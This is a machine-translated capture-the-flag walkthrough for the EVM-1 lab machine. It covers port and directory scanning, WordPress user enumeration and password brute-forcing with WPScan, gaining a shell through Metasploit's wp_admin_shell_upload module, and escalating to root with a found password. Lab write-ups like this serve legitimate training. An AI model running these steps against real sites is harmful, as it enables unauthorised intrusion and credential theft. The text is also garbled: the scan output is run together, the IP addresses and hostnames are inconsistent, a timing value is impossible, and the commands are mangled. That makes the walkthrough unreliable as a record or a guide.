The usage of Vulhub-EVM1 target machine
one。 Environment building
Vulhub is an open source vulnerability range for the general public. Without docker knowledge, a complete vulnerability range image can be compiled and run by simply executing two commands. The aim is to make it easier to reproduce vulnerabilities and to make security researchers more focused on the principle of vulnerabilities.
Address
Https://www.vulnhub.com/entry/evm-1,391/
Download ova image file, import vbox, and set up two virtual network cards, which are NAT mode and host-only mode (changed to default Nic configuration)
Ip is 192.168.124.156
two。 Information gathering:
(Port scan)
Nmap-A 192.168.124.56Starting Nmap 7.70 (https://nmap.org) at 2019-12-16 01:45 ESTNmap scan report for localhost (192.168.124.56) Host is up (0.00035s latency) .Not shown: 993 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux) Protocol 2.0) | ssh-hostkey: | 2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA) | 256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA) | _ 256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa ( ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: | _ bind.version: 9.10.3-P4-Ubuntu80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | _ http-server-header: Apache/2.4.18 (Ubuntu) | _ http-title: Apache2 Ubuntu Default Page: It works110/tcp open pop3?139/tcp open netbios-ssn Samba smbd 3.x-4.X (workgroup: WORKGROUP) 143 / tcp open imap Dovecot imapd | _ imap-capabilities: CAPABILITY445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) MAC Address: 00:0C:29:C4:5F:AA (VMware) Device type: general purposeRunning: Linux 3.x | 4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2-4.9Network Distance: 1 hopService Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE OS: Linux CPE: cpe:/o:linux:linux_kernelHost script results: | _ clock-skew: mean: 1h49m59s, deviation: 2h63m12s, median: 0s | _ nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: ubuntu-extermely-vulnerable-m4ch2ine | NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\ X00 | Domain name:\ X00 | FQDN: ubuntu-extermely-vulnerable-m4ch2ine | _ System time: 2019-12-16T01:48:21-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | _ message_signing: disabled (dangerous (but default) | smb2-security-mode: | 2.02: | _ Message signing enabled but not required | smb2-time: | date: 2019-12-16 01:48:21 | _ start_date: Nacha
(catalog scan)
Start using dirb for directory scanning dirb http://192.168.124.56/
The catalog scan shows that he has wordpress, so try the previously used tool wpscan first.
Wpscan-- url http://192.168.124.56/wordpress/-e u
Successfully got the account number c0rrupt3d_brain, now continue to crack his password
Wpscan-- url http://192.168.124.56/wordpress/-e u-P / chen.txt
Successfully cracked the password 24992499
Now start using the msfconsole usage module
Unix/webapp/wp_admin_shell_uploadset RhOSTS 192.168.124.56set USERNAME c0rrupt3d_brainset PassWORD 24992499set targeturi / wordpressrun
After entering his home directory directly, cd root3r came in and found that a file seemed to be a root password file.
Now look at it and find that it seems to be a password. Now that you already know the password, go to the interactive page as shown below:
Shellpython-c "import pty;pty.spawn ('/ bin/bash')" su root
The password is entered as: willy26
Successfully got the root
